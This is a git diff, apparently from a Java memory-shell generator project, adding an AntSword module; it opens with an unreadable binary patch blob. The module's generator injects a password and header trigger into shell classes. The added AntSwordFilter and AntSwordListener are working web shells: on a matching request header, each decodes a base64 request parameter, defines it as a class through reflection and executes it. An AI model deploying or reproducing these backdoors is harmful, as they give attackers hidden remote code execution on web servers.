zxUVVwNN&+7Jrz8fUpAEx!*$>IUWSzeK0Ow?qIgHxr$+##9ec%qde-Nky)bV(9WEXK zKjXdpouC0*@LFy506fVz%8|GcL`sj~81kP$AoD6=IAZ?ge6>d{TY(q>7XPdLkeC6U zT;{vL7>+CzsKicI% zrU-T+DzsxrpcCy|_y`b})am`= zE;Wm6Jqhbu*=eTM#%>1Z5IB670d2h{V$h7O^w>zj7*p}$A**XJBS#eh+t#~)#bdaQ z2EfAl*8WS-U>OtxI1Z-JX~2Xsiz-I{oF8m^I$CYwA%0oT#^#q+hd3v=$;yE_`3<`x zGEgn)m1@quu)tVw5_B`AY=pdslbvrcY2*-%>(`W=>(0LYyAsTeH_!A5Ckq3QMLy6s2u7R z2*-EI6N4_lVlBznEATVjY8GfSM0j7RU=p5=gv^&MILUHIrBTZ4)D#~fRlBsmdLI7= z_UX#5ye?r*Cjyoab_93#hj4$HfrrZ+FzovKF*K0nK$6GtB(EJEjvRSH1~Kv8=n*^^ zZ;=PgVww>(54@NcWV2I)ZVUVQ$9sI?^>Tu95Du%F&}zD;89-agiftZq->hCPEm?PW zHD}(zfUA+2yt8FJ+YPSB%GG}qbuCJJcGTo>H5OE|H7%f8>>g>GQu&|SNjlm|65O!s zgyfuHu6#FbRMj1!W3yt&r?<&T2zgRJ?srckWcud=WWV#qECsPIf0x?`E73NHAF&DI z%-8bSCt4c`g6qZYJ|W^OGHgDwrs$qN3~@h)QRWW%h35YSU{7oN3UiFW8OYl8ATKB? z?d2qYd=U zv1cUx(7slKVGT|Fqxva z$35-UN6>@?oC4i6t$_nTt+#exiD`}c<-nrzLikFs$|ogFit+*wD$EQU@Bk(m-4~g} z5r+Af5&GKDi1*etymM_Z#l%m@E8M_ufRfJCgrpGIGW0#`QSt9C1sUz+J}C1maEiSk z5t^$pI~qeqRj~me3^KnBpJEblv$bFufO|X(v}&EXav_43DnK0ek#c&dxRcGX8^t~h#f|vhdY&8mZ^+fcu%i0`W!YMyb1NPUBhY`S4W(vi z?|!IQRif_EsX%6dYk_Dd5g6+MJkfP8JQL4Wc4`Ecc@zO;2ID}QxYS^(;6y9zTuW27 z%70dd=pk?=oDx&cQ5R`MWQ|y*N7B2kAEIa$ms2)$`JA|f(jRHPeL#{_uWRUuLqLELGyJ~ z@(QbKXa+Hc(%FUusfZvDDTF~$6yK>CY*293!-T;;Yx6~wkg_#XH@`}zbWNtniPmnu zB^zm~<#WqsNc0e(*k6sAE{6WZ!cKSZO#&u-ngVw4quFhYqTQl|pZOOP4Ew5bU3d=1 zUROjKy;=6U#GbE!FR&BWUcF>!oco84@Cw5)p)ff?W!muHJ>S>n;lFYa{Qh4q123$r zqcgG6dUTH-C2INWJgU=i#cevGd{_AKKrti$UqvlZ>HXywRk}>5owXgTLd}Q`c=vn@ zn6ACv{j+4L)OpTqQQ|sq4@yAAK<~H<>$uDoqtfSDrlSVOErfG3Bk-9e?UwlqM;QKR3lZucwXDo#n}AWs?FEJSFN{`;RYj@ zET&0_sOfzr5Y^C9FN{f3`0qj&I}ET2sgx^tZK*O+B19?!vfG=QM$F~Lrp-2@ z7{d$v5}~Jr2!w<8QyB`L8-O~t#Zb8#72*aOL^p`$(A8RphT(HXGjQ4<`l3&yW+IOl z`Sj;ujyNpmHUKr?v9sVKK~Am2XS@aG6nWz!G@lzljDkcpPN8eaXVn<>;(Ibb`5b^9 zm}X3v>4zn4NaG-7sT5!)wr*Afvwap>l&~8&}DtUDf)d;2vJdiT5dJ#Ic6}n%B&Mk0`iU=_4tUz$2kxgFtg^r1e zg1whh%#Z_gbr(>)SPA!40GZmO^IiZ= z+=Zs(&bYz1oC%!nrz!zVd`kOE{1mhW3XKRxVo^)fqgJcWH!Q=T_#_y@^H6PYWWK_d zUZ!qnGBEZ*IQÐC^{bF910Z5^4m`%K-te1U}l7!5pSRB)X)~G+?6>-RLs>jvW)b zi@I}5=OZ^eI|9U^NwWvS1gZp#u5G}Nc|&K8G%N_q;d-eF*p*bh1jM!hiU%nTTkjot z4CK#+k`bx#Pyujw!ghG_D&W>-C*&xN;Gi-Ez)tL~ceh@ERax`;JY3<}kemv1pvK_8 z6#eeuIZC+QpM+vYWkt&J8Xj`W60b%d)*c`L>@&QA`x7F zsKtuOnEP>_t|ll}BIisdtPIN82AsNEOCv`>RRFeu*2Jgg&Y`h$3u2572W`aI2b63? zy@ExifGz~V&;yR-Bv4>awLre9KYlhAWTSh)3$UssUZGoaha30x8q!_Cm8Q4DZ}$YB zJLE)iXR{h0VwwS+0|}M~l?_@*ATiefrmg3!;5Zy1Dfv7(qtqZg|=V^)+}!U{-JnfLIFfX(%6CgiX9dvX6fxaZ&@O5 z1GNa3luxkKnrH=sJVJ7TUx}q}1HLT?LV+6x@LG$R!7_nck#b`^5rR{#7!0Yg)h?xx zO9yC>W4J$YAy~r?gNXYl;zebMqF6j~-0m=Nvxp6gf*9_5wB-x?7Plc-RF5(117{f% zxBcxTu_4@piE3nB65K|BwMPJ^h|jG1LT@@|F#%R4>L;Qpd%gFc07}{dR>>Da43WjN zsN3GB!UKR_HK8S)F%|OX1xmf3%6)H z#JXW`&JjY+imNg#i%jPl(e6am4zi(GmCPpL#Xsb9Pl_RCps;jl>gWhQ8Lj{#=}lhz zSDUOG^!5nJ3$1&6bb@AFb({22GdVoWrw}18Kz3?yMM$(;AHfL>G+9lOt&Ld4I`B>l zaG;yfX*X+jaQEYs!;Vi&Ja=fIc`B z2+ETZHb#E$L{#IF1pE)o>a@Eng8Rt+t6?40j!h>WwBN;^>KysH{7>JU@a&1rmkytYx(@GM)etUb}E__w`4=f&_g_H3P3Duf2KO!e18- za!G#q9Bk-*#X|BtguRkS+b0d6{sIkva9#()PHVfZz6J37fv0>5IU;-6Y9_7F_sEC+ zBF8uAIJNX@H&a|x{LS(|bD3I&c)JvidfHIl#wHK+H69%N$sP4%DCyuerPMGqG+ZUn z(b2gx6S{PLbl~ocbJXG8?LPD=ug6~QwPHIpOWr^h&6ASa7ic-<>Es#Ync|~WSy{gx z0Q~t_&fsC4&%8^S%(e|V3B;Jp_3$OgEC9HqrrInrfWfL`5NMmTK}oT7v?qJZ%rt+v zB-Zdz+0=I#qU@+lIH@sL!Q&YAh8GS3%Ce`?c+{ovx(DXMSuy*EM^0X+5w;e*7g5+h zhadYQYOi1|7nD43SUbL2h%E2eAHdw5)9O#1ytE}4ZNbKoZJwgn zv`ft>M7cmHcA8-vv`3eb);Wnv!{cF1}SlmI=HT%(d~qZ5{NZ<~83?8eWBBA_&KNTd^X2$R)MR=9Rzx*ookC3*b(_NIb75$h?I zY$KHOG(;p2go2f*&$MMcRQw9vC3%{qEJz`54J{%gs+nUE|^ZT z`ZEF;p`f{-X6-T};_q56s?F@o=H`ddNlR^pHazP|_dPnCzcnuF1Kd>wcH5YJB-K)M ziu-x2-fCY<4RLf3ovz2nJl}D>=qTKci!q|+y;VIdYwy#qIq&37v{%i%w=!4Fo$w7DOjcDp%bN%-aBQB0BTpai%E)mh(&Nu_g3nJzXn*Zv+Amw> z0r)MbEYhclwNf|}ck}T8hz#tB);d?X3#dgL=%Xh<&rFc?bVX&!sYGfa28)ckV>)Np z>tc^j`Y(bUdEGlOVG=0^V4b>i?WdOsGZkCp#m`%??Ls4>Q(5oIhZU(r>_;v^0y!?H*gaLKXq1(3wb{o(z$JJ-uwJKO?+K}{Fm^}H-;wWDBCd> zX^FHEMKh7$5-?%#H%pVL({8I#avLhvgYE*JQf4LX%}bLS><9&vGYH+x)0B(lb-dU# zd1kS;R$i4wx}$A{O|LNdWJ6d1=UbG~P$wga5Y>G|&55E#FoFRFtmGQ?^E2xDHoO50 z(@@nzs{rRv1D9G$X)*}14RjJ9r^SXLv>+-vV8Y}3Y069T!0iGUYr1b=Hkt7U@Cc%) z0y|P~&ifrs{;^J?g=sIw{%nGi5ex}UN@mAkAV#61Cw&|XY>wBqxl)- zLklq3e2&)NRrGy^PmewY7X*6f=`Rqw_-$HghEFG{ug*~MRKHJ?`KSot4nyf}o z_mjQa?v)`pTBYUCKV%<$-*Gu-;{D`~d{_{V|CZdGE!eDTMY)SYMi{R?-ZWUXxh4Mk z>2{X6=EYCp;aU6fm%e@nni3(>YFeNzE6_Xw5uzL%a(0IunSc#niUyc*{2c(h`S`3W zfh?(20^o9hw#trrMCO`}4+dibRLcSIPAHlqPC-S{u%MXt$~sRcwWHZtCu@x94LJ|NJkcttl5$gk!GGLyJ(rtUIlM$5UXoOgQ(>sOrPJ4DozIbD?9YJK(kpz>;h4IB7`Hkv$pp#g9qYdxbsKA` z=rj#`!xe-qezei1%-(S6j2dXfLAp}>=xH}^lJBpZSI8iCk zJ@%MV0WQ~;x*Wr6?c(|x>2*S%J=ro9sa6usZB2Fvee)c(JfFpGw|e;%VJ(4>S@o%5 zQ;F*DVQ<`5G^ca!#b3eA)|H~pe7L0jXPh~tz2$4XFydoCc+xG!chlFdZPf@wzua!U zZ!y^*^c^u2KDqfT*InsVD?;L8W_AFH=f!v>Po6ZnEJbjJv#zF^kkFu3ZqD zuP4@?VLy z9}$r??xIuQa|aCe$wEp9cZ$--%K#2uuWo>1(xrMli1?d%{|)}AvraZmsenXhLB6(j z8>SXWZ$UcLB-a7EZeg)uk2$VhvCoX`6t`EG;4bP*Ovy2iO7i;y!=uT>#t-C5Myp1K ztxnM>xsBlkjUYm2o5AaSy^1}L9y*`=EW*!6M{+QJ{8zK)`W~e+;alQb>BSRHa&1v% zYv?~UQ);vFkT-vdKB^)YZakkppK1zrhGOe+(|H><`k@n@=ND}FiG^O{bl9~nbJTT^ zeJBLuZuGtztLTertYnhYjf|Cvr@iDi{8sF40UysG6opod|9wATkSs(*d!{S14N|)j z!TpPLN}wvTmCqA{9p$#uYgK2hM~)(r@U}x%pS2d@ts6gV8chf#yO`>iV{0?oK#=%J z8#wC=oX$rccW8PEuRpMA*;5pOT!u&NTDJ%FHE^X|^l9EbZAUjIYC8!AHk zt77sI9&xTs=k(E(fxHsKGK(p-VLWKoU1gC*Iw+CXvUDk=53hu@D9=kP3UJaM^hYf7 zB&qvTu$o_=AN?s)fxdS~%K6Ncwz=`kB8-FFEgDWqFU``A8!{rls61D9eBp{6x$%c` zqgugkS=l$n6P@N2w?dCdy?`1fO?9qmeFFK~(Urijk@YG;;6Yd9>(tBtRW9vA>3riu6+Fhts<$wd;x{%xK9)KOwb-Y&-F^4 zHxg|!ziNI}x-HmtXzP^Agzl7`N+0{^C|5h`bYizCv8v8&KW*Addb{O z{|Qzg0i86qR;45zPhtU&$lT!7@ zePleNHUY(_pd=7~F#gQ@CO&ezHsdK&*pE%gX&C4KwH3hrj)lnKywhw^m1imKbKsXC=9b%RAwAQqP=7QJ-S zEqdmMJqEoFC5W^%p3_1zGf;uAjFiK|%}PEk9ooJ2XH(3>^pfsNp+A4!TAwH~f_Ea& zapr#jwea|isVPgf@KbskL31rmcJHzBKaAHMGcqq}|DW=%JRIuo?N3QcqR5slMfPkh zYQ_@D8reddojj$8%*aF~*-aRs?6RvEEkyS0OHofe$TKEeO~cq#c<=A1^!$GBAMf>E zzdzpVdi$pt^PM^8-1mL%bIyH#KKI$RslG-YE{mnL@H@Rp*Y+Tlqh}Y#nv?ABih--DoAnifka-0k4tcMQMPeW)}hq+w2&zUCf!Id#55GIkr! zC%e8N(jJpcYvhKFq#3uY)}%@%31CTdHHs1M&A(fwh%E1DI-bFPSC3->q8AOG^sO=* z+iblDybzWXv1Hny;R}`stOivs%G%Hw2obg{Ie7h{v~cUnx_|H=QWc62%&E zSh+U#(H*fSCA|TQ2MlVk`g{n;ZLFy`e9o%woUo^WQ{<&kLQ-Iw#Ci2yBo`-d!_bXN z*53K}>x#*pF;WVP(|(G|Sfw%*>k68RbykOC!rGW2i~T2~k6_dr2j8>_QaVYB%2lur zdo@y9M>!StSuCvWK)Y#?wbG&-*##5d2%%(3H6=qm5C3YPx==v|YbDmx#Wk{zUtQ~D z0FizB-3v8dT_yeq8{V!cS5MXHi~Yl_SYw}%xa)DZnS%B%_RJ=1(9TdP`2IkKQ>;t$ z)7Cw?n1b#LjoU6Bm15(IwxC1O!mTT7^SgkgLrldHG0al-;o7-&q=HYaM2#l)SI>;?S0G?J8GW`-$^N`ZgJpFacD(M-UM=39VV^GB07?2e;C&d^D=K4;yL|9}0`U zc4V(bxkx!gEX<)4Ll6gqidO;{nG}H9r>8a?qm5jTUq-;wB~4N5o&x`!>oC9@xjTv* z#7ExY*q99Ogm%~~W6;9hCkw;})|WG9!OgjKkn1LO*&oHbl?!<%;63%!T61c?n{aNE zXiUOiT(>)`%7)XWoTmJN`@T#IPteu`dEYqP8p#w4J&fQ1!L(bL^j`Ay11$>l)Juk; z^huSQLMhT=)#39y^=tb*3rY$EGMzr3md5w1-|lUEw%)7Iz=6b~RfhRc$BTWG$v?O3 zJY=-HY(Hl24o?!k#)IUs(MR5c^q>`YV6Q=o)mY}S5u?8rWjQb1wHtisfSz*JQQ18D`l zPlEfhME+=+do{;>)cIZe{(z7m5jKWy`?Gk$*iJ2WgrrQ}lfjZEi@zK5}6G94*hS-(BJQYzIQ?7Ysw@&nV>q1C1s!ulV0`DiRYK^H-_P&Bw z46lid@OkRmb^8Hqh2A3+Lb#o)1=h~?2Yg`*lMzV$e3n|K<>(v*EGe`wK-TCEy2(u} zd!7?b;G5ZyI$(J}YTdlG|JwleEX563n)R5ZiwL0O4=lNy>ev=^B!QAF)P@Y_z-cZ26qb%L_vUY<)n z2;hJ+ee3(~D8Ah~+}6LFUEG)=z;Y-DjnYb0#dCuz2)t5n z4!5O6zgC1ueJ5`wp&<5PH3b-YJSS>>W(|F7<&Hc!dYdf&%~x7pM8~9r_tsd~pV@y$ zk8B8hz~ZgkiokOpY@QXN_nEn>Tx^aEB8)>E%-PrzIhjEs6sn^*$7wyxHZ1lWY*E=l zvycdZ=t@ikbwq(cVwcgrr89SdE9@m;=7`juKV`HI? z=zWqHgn_CdlUL^mnYCkT!iT)hJ;I(zn=FmFY@D|Q$h@%Hfa!TLWzUg3_o*$l6WB{7 zI``GY$*%IU8ko@f5&n*gmL(&S8-otboA;E(Y_LWxDWR2i_Et^1_uGYEYbE;kNc(Mm zt}nO&%c|_*{hXfOH2p@uq9K0S3f0W->2m2F>o<(1+!_zaWU*DDRrw|^m2;(BQaGy= zb+){qugQuoDP>^cN8%oCFL|O(9eqG)r@2BA*|O*TpV2br0Fq%dE^(9-SK+JyT%h@OVFx{d=-{Jj2>x!tnd6oX z{_jixBHwnqyMMh@#9OOvj|zqyTs~*9ZzJ~KsIvj+U}d$XaY2DuHoK>tXwNC-hML#= zZCNiY6$Bwju?2z&U=KB~WjnPDl;BvjXcz#ROAT(@eD6;N)`Gcd4{rG=IZ@wv?R*rkg}-F*omNt-eWNf%}}k!R}wa39D% z8~((>K~0a@`RD1+6-$)%hupj`gEd{#qoA9B9C+!0_E+JU zI{o=Q;j0y2WDw-zf=7>;OVrXs3Ym7C3Ku*WebazP5NJu8-h$HCS$vFFm4jT~#mSdju;4!As2%*i5qZNd08qt2`!jn)o4 z<|n*sjYU^-@G{jkO&TT0lAq#fj(sIhiuy$cEL*p9)y^ap1xOW&iPcz>dBmN0{o_+p z(`~dGyKcB!{`th6!Kzm? za+Q3YOA2aI4jUt5&|frIc`uO>dZ1%wbF^2$-;k&!WH{n6vAGy5=_#pboVELqRr2H_ zHc(>FDe}=kn$<$rTp@4J>w~I&y~(Pu@0%k(Z%HywhA>CT_bGHP6A~kn`+}VFZz|hX zq4LDFC;gYlmydbKY$ixcTy~7Gu#iy0*0*#Nk9h8t7CMia$**x0-oUZZW%)4Ot*=D! z@ckF9>^th8*0?vRzqz4Jh`krAwFNC!W(Dj1 zEO8>~QX>X^yeo8vm0$-{@!<2LvPdC5E=SpPcW~&983Hx(2c0TM`kF`DqbIhwrYk6( zKRV%nyDRLw{qCJ)BIi|3nMzol7s>Q?Z8BZ!R=Jkb^A`;Q*EZPE`HqG=iIZ&wm=HvH zLI+#AdW*&_ab`cBi_@Z~l*1C72>uic@9wUe+I$D+LtAKz_Wky}uhJ(K+gY*W!mQY^ zn5&ekaPE%qDWin9t=Hp5Q&{b8z6+63Xz*VcWujNh8kAi-Y0 zkmWft_$rLzMk$Y)?nGwWD{^OG0{I5et=K zdqbom0i7BC`2MS`D7`7)t12Bv2M5JT`({G3_MM_5F}D4hZK5Hj?%w7@yzHJs?YK^+ zt`*982= zXd1Y7U7iyj(XT-`yqDHAi3=Zb)K%NmtlC6S)oEqPRfxmkZ$1pR@&S4T#7FsQT1W*&1`;l&Fg{D*g#dh1!c zk0x2I?6=QsElRb}7<7ERAMOb7<|f)|%K2_L9j8uo`2>>jA~B!dKOTT`49yd;QSgK9 z=4h?2-AIFQ;NuBflEGtB?xFTU(q#2nci(xF^yz%I1%o?k`x6&T?dlanqPK|iN59-x z_5^o|dvsVJJR_SWk}rA5qoYktO89$l*ND7ok4pnnP?53V=l7|S7~{RP-ofm;QQune zJVQrg6&(@vm@{OZG$k|3L``aBZFY_Jl~@I8?R&d!s9&Ld{G6deN+{;!8JUkdT0xwr7EkVzc~oSW22ponBczW4 zH@o@HCmB8)0%S(gI(~VTVGDgZ@f-jdlt)!+U#X@`5%|uuiMk=9ox`yC+UB3XmQMfp z{n)Yrf6o(FF6*f%9pR9S<8zWBZ*y=QXvHjuI1%qLH5?MZVhAg^UCn2-ncZ=o10PCW z<|U5b#63~+ZM|$Ckr6-X5f0=a&v~iR)-||g!QBr>ZU_P1dKcjJoN7%9LBw`uVurBBtPM4-OU&CTHVWU_4D_bsAXk zJz~pHx5Mh-%w0}DD-p2e83+=X>Z-MjJVSlVowQk=o%^G0sm+-Vq9Rp2z}7j1iTpmZ z=eeAm)`66>3pXeeV@=N9mMR)2I=Z9YDfg={nmR8R+)!R_!_m8Aq-(r;%xhw>h;`UfGe%+RLt|$P=2usB8=xv~WDHp3_~egKDotc-7s!lgyl=?q<}idsQYfHcur{ zFMBb8)h;sG&>gBcI2mBK)q|gr%S@b{@hr&?Po}TiYpYvT%;?xvw5Y?M0P4m zH(h(Jc=u_m-m9SyiZeU^^X5tI-52w$4Fq`Q&$Gq`%UC?Bf4D@{Z{CxecU-UJMO>D_ z?2GhI7JS<~k31P9$y6>220w!vEN2DwNQ}{qk~9L-N^8%GdS>UuK*hJ9LuwA{zS>cd zy!mFQAGapy!{q9vO{Dfv-)X-?2-RZ_cl_7xeFjLJ6!$OS!CPL_92<_~r$cO$FoWbr zus2#NH70$w5l{ZZc)&02<YkUP}o&T`w;Uu>Cdh0dkaCg{dgIJC_KNd0dW3APSvaSYTe6~&Pnd?30 z(~Q>Q$Ibb?_fjuj7+CTv^g*tR9_2Uo7Q)~PsYWg8(a{rv$;S>)KFw!+kNxz#5a1f~ z+vY^BD3JxSZvfG);-P-S4eoFu0h#;S!ymU99K&A?@Ut8YOvWDun9(ws1Gzk&o<`aD zX3HdQq|&N&vGUVLvn|OtVqa?NN}RMS$(8Y4?9$uyh^Z$(&`)G=cwvCB=Uc|Xil;3U z1QYbNjeEDhAA&*h>iYo_(z%>H(t~i>HybT@F6)QFXMP+jwDvz>3xwc>f{v7Sxm3a{ zskmG3-Gskk(A8c5-+@w{-;Ll$4{euZ~pCzP)djKO{A{TRR)r5(loFy!Er@iNVSBl6~*BJvxZbB_@QDb%G4m( z_;Zl$>FGNOh_uJ%ftDb}cqxUP|I#`bH4oHQzooYxAaS4;r~)TpBqb@?NW<>^r5ja7 z>4S36hSa!A9CZJ;FZQT5Gq7!7Fr{4#CIT_;pBhqz+Mpn}NF@_)%q$yt!!Q=c9K#{g`9C|ypvn$XYY5B)Cb6uv^dzH=NE<|hrF0NdvrbK) z&qs_e(13n*#L&kk3h4$_<$qv(EnFsSec>lyM{jM4DSGx6~qyN3AWNqBL7tf z;FxyvugoEY%_GHtQ2r_kvf>%EYWh}f>|Y#$Ck1BYiqd^%seVI@8HzZLgvkm7zlr#Y z>0croBmymi>Zb!_4u;n)?P9p^=KrkiuFg%c(43q`MjMCxz>J$m>VZdunCnQ?6t!n@ zbv7#xK{c%v!NWTJLpA^I##Su&mUhFa_^J@WWC(dz$OcB9n{}Lfr_P_cCVTPkVi@2CM zq#VspJ49ANs_?39{j^3HMf8mow~mx*np{~9e;E9arSKo_2I@{T+UTSk#G}ntaKsE3 zo9NO(vs|4VQsXjU45n(oi}1f$DSmm4|J+Ie{{DxX{mbHaG+>iN>xeTOko7FY`w++w#th+1g#sAOlt~htR|iDv=UwCl%%eAigmi1I z3kY(2nRBK7jP@u8(-@6v^fjDA=-eXSsOge$>r6{=rFB5R>%c~ohJGPh;F}Q&rF8Sx z`>?!6pJ#h^_QR)fw%EV0Yf*PNsqOWP$WvYtD3sRdo1`xR;xD*R*Y{M@yei>;qHsSy ze`gX3Rj>`79HF96j-&AS?Nsy{6rW}x`laPMltw6R9m;k?HSGfa5(b6huckd2Ux(Tu z-klV24Sw~v_u3ZkuY9`@1&^m16r#VtZ|H9HcA@woPa&;}PLHW1U1f-2 z3)N_xdkyMN`VVmk3)#0%>fz1Z|_asUFlal^#C3p<)j)R`Z2xP-&2A-b(Av|Pj)?IH7SxVit79ud z#_-$woKG(dw~Hv2`P3SbcA8e&x*b4jx3KFW|d~eu$tr#z@l` zQY5Tc-W<<=)4VJd9>MuDTK?ZDfU@lJPXRHMAHF(j5I4{O{ALq>7=cYW&O{Z!nOE!avIPZ0H^d{i>gXD4awwQE|TD2XU}{1@L|t| zKmAm)TUGtOmwfm1NB#J`gVsLgb@E;@QarfFv#o4;9Zb0|_|r<;Bl2cuW->A|8uy}5 z)BBQ)4BYMx7t~Yev$Ng{FICr~P_D&21#gGz>yJJyD?@LONCuiF0M}=?p-^Im*YYU6=rDM~X5QrdZavps+C96AdUOH1O~SdVBNtoGzc93WQn_i<7kk^=n^yMj-c^ zWVjoOWk_exd5I|0d{vScrD^@t=;*og=MgkLz_|MR`{nu<0I>6igM$M`7{FuS-VgXK zk5Y{H*i_<q7xSYiol$WII!V^@ZO2I(B%uv+1!Xhoyr0oICRryvX_d*LVKb4%O3S zn|tc22mHTImB&uCq5V196#XyH+a#zv`O$rPmwhX~pA0SXa>#9nzMm-uOjHo&v**vT l-ro9H+Lte1#>bbL?a#hE*_m|s2nzn`X&W7Rq-lHezW_LCy#@dP diff --git a/img/sglab.svg b/img/sglab.svg deleted file mode 100644 index b168e05..0000000 --- a/img/sglab.svg +++ /dev/null @@ -1,100 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/jmg-antsword/pom.xml b/jmg-antsword/pom.xml new file mode 100644 index 0000000..1c4d2bf --- /dev/null +++ b/jmg-antsword/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + + jmg + java-memshell-generator + ${revision} + + jmg-antsword + + + + + jmg + jmg-core + ${revision} + compile + + + + diff --git a/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java b/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java new file mode 100644 index 0000000..55e3f4c --- /dev/null +++ b/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java @@ -0,0 +1,56 @@ +package jmg.antsword.generator; + +import javassist.ClassClassPath; +import javassist.CtClass; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.IShellGenerator; +import jmg.antsword.util.ShellUtil; +import jmg.core.util.CommonUtil; +import jmg.core.util.JavassistUtil; +import jmg.core.util.ResponseUtil; +public class AntSwordGenerator implements IShellGenerator { + + @Override + public void initShell(AbstractConfig config) { + if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); + } + + @Override + public byte[] makeShell(AbstractConfig config) throws Exception { + initShell(config); + String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); + String shellClassName = ShellUtil.getShellClassName(shellName); + byte[] bytes = modifyShell(shellClassName, config); + config.setShellBytes(bytes); + config.setShellBytesLength(bytes.length); + config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); + return bytes; + } + + @Override + public byte[] modifyShell(String className, AbstractConfig config) { + byte[] bytes = new byte[0]; + try { + pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class)); + CtClass ctClass = pool.getCtClass(className); + ctClass.getClassFile().setVersionToJava5(); + JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass()); + JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); + JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); + JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); + + if (config.getShellType().equals(Constants.SHELL_LISTENER)) { + String methodBody = ResponseUtil.getMethodBody(config.getServerType()); + JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); + } + JavassistUtil.removeSourceFileAttribute(ctClass); + bytes = ctClass.toBytecode(); + ctClass.detach(); + } catch (Exception e) { + e.printStackTrace(); + } + return bytes; + } + +} diff --git a/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java new file mode 100755 index 0000000..0ca4787 --- /dev/null +++ b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java @@ -0,0 +1,57 @@ +package jmg.antsword.memshell; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + +public class AntSwordFilter implements Filter { + public String pass; + public String headerName; + public String headerValue; + + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + String cls = request.getParameter(pass); + if (cls != null) { + try { + byte[] data = doBase64Decode(cls); + URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + method.setAccessible(true); + Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); + clazz.newInstance().equals(new Object[]{request, response}); + } catch (Exception var7) { + } + } + } else { + filterChain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + filterChain.doFilter(servletRequest, servletResponse); + } + } + + public byte[] doBase64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); + return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); + } + } + + public void init(FilterConfig filterConfig) throws ServletException { + } + + public void destroy() { + } +} \ No newline at end of file diff --git a/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java new file mode 100644 index 0000000..f871878 --- /dev/null +++ b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java @@ -0,0 +1,79 @@ +package jmg.antsword.memshell; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + +public class AntSwordListener implements ServletRequestListener { + public String pass; + public String headerName; + public String headerValue; + + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + HttpServletResponse response = getResponseFromRequest(request); + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + String cls = request.getParameter(pass); + if (cls != null) { + try { + byte[] data = base64Decode(cls); + URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + method.setAccessible(true); + Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); + clazz.newInstance().equals(new Object[]{request, response}); + } catch (Exception var7) { + } + } + } + + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { + return null; + } + + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + public byte[] base64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); + return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)); + } + } + +} diff --git a/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java 